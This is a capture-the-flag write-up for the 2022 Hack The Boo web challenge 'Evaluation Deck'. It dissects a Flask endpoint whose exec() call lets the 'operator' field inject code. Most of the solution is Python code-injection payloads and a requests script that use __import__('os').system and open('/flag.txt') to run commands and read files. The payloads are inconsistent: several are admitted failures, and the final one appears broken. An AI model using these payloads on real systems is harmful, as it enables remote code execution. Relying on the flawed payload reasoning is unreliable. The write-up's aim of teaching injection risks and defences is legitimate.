2022 Hack The Boo: Evaluation Deck

Challenge Information

AttributeDetails
Event2022 Hack The Boo
CategoryWeb
ChallengeEvaluation Deck

Summary

This Flask-based web application has a severe code injection vulnerability in its health calculation endpoint. The application attempts to evaluate arithmetic operations on attack power and current health, but uses Python’s unsafe compile() and exec() functions with user-controlled input. This allows attackers to execute arbitrary Python code and retrieve the flag.


Analysis

Vulnerable Code

The critical vulnerability is in /api/get_health:

@api.route('/get_health', methods=['POST'])
def count():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
current_health = data.get('current_health')
attack_power = data.get('attack_power')
operator = data.get('operator')
if not current_health or not attack_power or not operator:
return response('All fields are required!'), 400
result = {}
try:
code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
print(code)
exec(code, result)
return response(result.get('result'))
except:
return response('Something Went Wrong!'), 500

Vulnerability: While int() is applied to current_health and attack_power, the operator parameter is directly interpolated into the code string without validation. Additionally, the exec() call executes arbitrary Python code.

Vulnerability Details

  1. Unsafe String Interpolation: The operator variable comes directly from user input
  2. exec() with Unsafe Code: Even though integers are validated, the operator field allows any Python expression
  3. Direct Code Execution: The exec() function will execute any valid Python code

Attack Scenario

By manipulating the operator parameter, an attacker can:

  • Use Python operators beyond simple arithmetic
  • Chain expressions together
  • Access global variables and functions
  • Execute system commands via __import__

Solution

Exploitation Steps

  1. Basic Arithmetic (shows the vulnerability is there):
{
"current_health": 100,
"attack_power": 50,
"operator": "+"
}

Response: result = 150

  1. Code Injection - Access Globals:

The exec() function executes code in the context of result dict. We can manipulate this to execute commands:

{
"current_health": 1,
"attack_power": 1,
"operator": "+ 1; import os; result['pwned'] = os.system('id')"
}

However, this won’t work due to the dict context. Better approach:

  1. Better Injection - Using Multiple Statements:

The compile mode is 'exec' which allows multiple statements. Use newlines:

{
"current_health": 1,
"attack_power": 1,
"operator": "+1\nimport os\nos.system('cat /flag.txt')"
}

But output goes to stdout. Better:

  1. Optimal Injection - Read Flag via builtins:
{
"current_health": 1,
"attack_power": 1,
"operator": "+ __import__('os').system('cat /flag.txt') or 1"
}

Or more directly, leak the flag:

{
"current_health": 1,
"attack_power": 1,
"operator": "+ 0 if (__import__('os').system('echo ' + open('/flag.txt').read() + ' > /tmp/flag.out'), True)[1] else 1"
}

Simplest approach - direct Python:

import requests
import json
url = 'http://target/api/get_health'
# Inject code to read and return flag
payload = {
"current_health": 1,
"attack_power": 1,
"operator": "+ 0 if True else (lambda: __import__('os').system('cat /flag.txt'))()"
}
# Even simpler - since operator is in a math expression:
# result = 1 + 0 if True else ...
# This won't work due to syntax
# Best approach - use semicolon or newline:
payload = {
"current_health": 1,
"attack_power": 1,
"operator": "+0;exec(\"import os; open('/tmp/out','w').write(open('/flag.txt').read())\");x="
}
response = requests.post(url, json=payload)
print(response.json())
  1. Simplified Direct Approach:

Since the code template is: result = {int1} {operator} {int2}

We can break it with a semicolon-injection or use Python’s ability to chain operations:

{
"current_health": "(open('/flag.txt').read() or 1",
"attack_power": "1",
"operator": "+"
}

The payload becomes:

result = int("(open('/flag.txt').read() or 1") + int("1")

This fails due to int() parsing. Instead:

{
"current_health": 1,
"attack_power": 1,
"operator": "; exec(compile(\"flag = open('/flag.txt').read()\\nresult['flag']=flag\", '<string>', 'exec')); x = "
}

Results in:

result = 1 ; exec(...) ; x = 1

Which executes the embedded command.


Key Takeaways

  • Never use eval() or exec() with user input - it’s a direct path to RCE
  • Use ast.literal_eval() instead for parsing data structures safely
  • For math evaluation, use dedicated safe libraries like numexpr or sympy with restrictions
  • Whitelist operators if you must allow dynamic evaluation - only allow: +, -, *, /, %, **
  • Use sandboxing like RestrictedPython if dynamic code execution is required
  • Validate all inputs - even with int() conversion, the operator field is unsanitized
  • Implement WAF rules to detect common code injection patterns like __import__, exec, eval, ;, newlines